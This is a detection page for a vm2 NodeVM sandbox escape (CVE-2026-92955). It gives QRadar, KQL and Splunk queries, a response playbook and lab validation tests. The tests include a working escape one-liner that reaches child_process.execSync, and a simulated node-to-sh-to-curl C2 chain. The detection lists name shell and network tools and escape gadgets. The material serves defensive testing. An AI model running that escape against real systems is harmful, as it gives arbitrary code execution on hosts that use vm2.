Detect vm2 Sandbox Escape via NodeVM (CVE-2026-92955) in IBM QRadar
Detects exploitation and presence of CVE-2026-92955, a critical (CVSS 10.0) sandbox escape in the vm2 npm package (<= 3.11.7). vm2 is a widely-used library for running untrusted JavaScript in a NodeVM/VM sandbox. Due to improper restriction of operations within the bounds of a memory buffer / insufficient sandboxing logic (CWE-913) in the host-sandbox bridge and setup-node-sandbox code paths, an attacker able to execute JavaScript inside the sandbox can leak a reference to a host object (e.g. via the error/prototype bridge) and reach the host's `process`/`require`, achieving arbitrary code execution on the host with the privileges of the Node.js process. This detection surfaces the vulnerable package in build/runtime inventories and hunts for post-exploitation behavior: a Node.js process spawning unexpected child processes, outbound C2 from a sandbox host, and sandbox-escape payload signatures in application logs. Remediation: upgrade vm2 to 3.11.8+ (note the vm2 project is deprecated and recommends migration to isolated-vm).
MITRE ATT&CK
- Tactic
- Execution Privilege Escalation
QRadar Detection Query
SELECT QIDNAME(qid) AS event, "sourceip", "username", "Process Name" AS process, "Parent Process Name" AS parent, "Command Line" AS cmd, starttime
FROM events
WHERE LOWER("Parent Process Name") LIKE '%node%'
AND (LOWER("Process Name") IN ('cmd.exe','powershell.exe','pwsh.exe','bash','sh','zsh','curl','wget','nc','ncat','whoami')
OR "Command Line" ILIKE '%child_process%'
OR "Command Line" ILIKE '%constructor.constructor%'
OR "Command Line" ILIKE '%process.mainModule%')
ORDER BY starttime DESC LAST 7 DAYS QRadar AQL selecting process-creation events where a Node.js parent spawns shells/network utilities or carries vm2 escape gadgets.
Data Sources
Required Tables
False Positives & Tuning
- CI/CD servers where Node spawns build shells
- Legitimate server automation forking subprocesses
- Admin troubleshooting via Node REPL
Other platforms for CVE-2026-92955
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 NodeVM sandbox escape PoC (lab)
Expected signal: Process creation event with parent=node and child=sh/id; auditd execve record for the spawned command.
- Test 2vm2 escape gadget in command line
Expected signal: Process creation event for node with command line containing escape gadget strings.
- Test 3Vulnerable vm2 version present on host
Expected signal: File system artifact node_modules\vm2\package.json with version 3.11.7; npm install process telemetry.
- Test 4Node.js reverse shell post-escape (lab)
Expected signal: node spawns sh which spawns curl; outbound network connection from node process tree.
References (8)
- https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85
- https://nvd.nist.gov/vuln/detail/CVE-2026-92955
- https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm
- https://github.com/advisories/GHSA-88hf-g992-jg85
Response Playbook
Triage
- Confirm the host runs a Node.js application that embeds the vm2 package: check `package.json`/`package-lock.json` and installed `node_modules/vm2/package.json` for version <= 3.11.7.
- Correlate the alerting Node.js process with the application it belongs to and determine whether that application accepts untrusted JavaScript/templates that are executed inside a vm2 NodeVM sandbox.
- Review the spawned child process command line and parent command line for escape gadgets (`constructor.constructor`, `process.mainModule`, `require('child_process')`) and for reverse-shell or download-and-execute patterns.
- Pull the application logs around the alert time for anomalous sandbox inputs (large obfuscated payloads, error-object manipulation) and tie them to a source user/IP.
Containment
- Isolate the affected host from the network to prevent lateral movement and C2, preserving volatile state for forensics.
- Kill the offending Node.js process tree and disable the vulnerable service until vm2 is upgraded to >= 3.11.8 or migrated off vm2 (vm2 is deprecated; isolated-vm recommended).
- Block any identified attacker C2 IPs/domains at the egress firewall and rotate any credentials/secrets accessible to the Node.js process.
Evidence Collection
- Capture the full process tree (parent Node.js process + all children) with command lines, hashes, and the loaded `node_modules/vm2` version.
- Preserve application logs, the untrusted input payload that triggered execution, and any dropped files or scripts written by the child process.
- Collect network connection logs (netflow/EDR) for outbound connections initiated by the Node.js process during the incident window.
Escalation Criteria
- !Escalate to IR lead/SOC tier 3 if host RCE is confirmed (Node.js spawned an interactive shell, downloaded a payload, or established outbound C2).
- !Escalate if the compromised Node.js process had access to secrets, databases, or cloud credentials, or if lateral movement from the host is observed.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Installed `node_modules/vm2/package.json` with version <= 3.11.7 and `node_modules/vm2/lib/bridge.js` / `setup-node-sandbox.js` matching the vulnerable commit. - >
Application logs containing the untrusted JavaScript payload with escape gadgets. - >
Child process creation records (Sysmon EID 1 / auditd execve) with node as parent. - >
Outbound network connection records from the Node.js PID to attacker infrastructure.
Tuning Guidance
Baseline which Node.js applications in your environment legitimately spawn child processes (build agents, PM2, SSR frameworks, serverless wrappers) and exclude those parent command lines/paths. Focus high-severity alerts on production application hosts that execute untrusted user-supplied JavaScript or templates. Pair process-based detection with an SBOM/dependency scan that flags vm2 <= 3.11.7 so you can prioritize hosts that are actually vulnerable. Suppress interactive developer workstations to reduce noise.
Hunting Queries
Hunts for Node.js processes whose children carry classic vm2 escape gadgets, regardless of whether a shell was the immediate child.
DeviceProcessEvents | where InitiatingProcessFileName in~ ('node.exe','node','nodejs') | where ProcessCommandLine has_any ('constructor.constructor','process.mainModule','child_process','/proc/self') | project Timestamp, DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine index=sysmon (parent_process_name=node.exe OR parent_process_name=node) | search CommandLine="*constructor.constructor*" OR CommandLine="*process.mainModule*" OR CommandLine="*child_process*" | table _time host CommandLine process_name Atomic Red Team Tests
Runs the public GHSA-88hf-g992-jg85 style escape against a vulnerable vm2 install to spawn a host command, validating detection of node->child process.
Command
npm i [email protected] --no-save && node -e "const {NodeVM}=require('vm2');const vm=new NodeVM();vm.run(\"const e=new Error();e.constructor.constructor('return process')().mainModule.require('child_process').execSync('id > /tmp/vm2_escape.txt')\");" Cleanup
rm -f /tmp/vm2_escape.txt; npm remove vm2 2>/dev/null || true Expected Telemetry
Process creation event with parent=node and child=sh/id; auditd execve record for the spawned command.
Expected Detection
KQL/EQL/CQL rules fire on node spawning a shell/id command.
Executes a Node one-liner containing vm2 escape gadgets to validate command-line-based detection independent of child shell.
Command
node -e "console.log('simulated payload: constructor.constructor process.mainModule require child_process')" Cleanup
echo 'no cleanup required' Expected Telemetry
Process creation event for node with command line containing escape gadget strings.
Expected Detection
Command-line regex branch of the detection rules matches on constructor.constructor/process.mainModule.
Installs vm2 3.11.7 to validate SBOM/inventory-based detection of the vulnerable package version.
Command
npm init -y && npm install [email protected] && type node_modules\vm2\package.json | findstr version Cleanup
npm remove vm2 & del /q package.json package-lock.json Expected Telemetry
File system artifact node_modules\vm2\package.json with version 3.11.7; npm install process telemetry.
Expected Detection
Dependency/SBOM scan flags vm2 <= 3.11.7 as vulnerable to CVE-2026-92955.
Simulates post-escape C2 by having a node process open an outbound connection and spawn a shell, validating network + process detection.
Command
node -e "require('child_process').spawn('sh',['-c','curl -s http://127.0.0.1:8080/ || true'],{stdio:'inherit'})" Cleanup
echo 'no persistent artifacts' Expected Telemetry
node spawns sh which spawns curl; outbound network connection from node process tree.
Expected Detection
Process rules fire on node->sh->curl chain; network telemetry shows egress from node PID.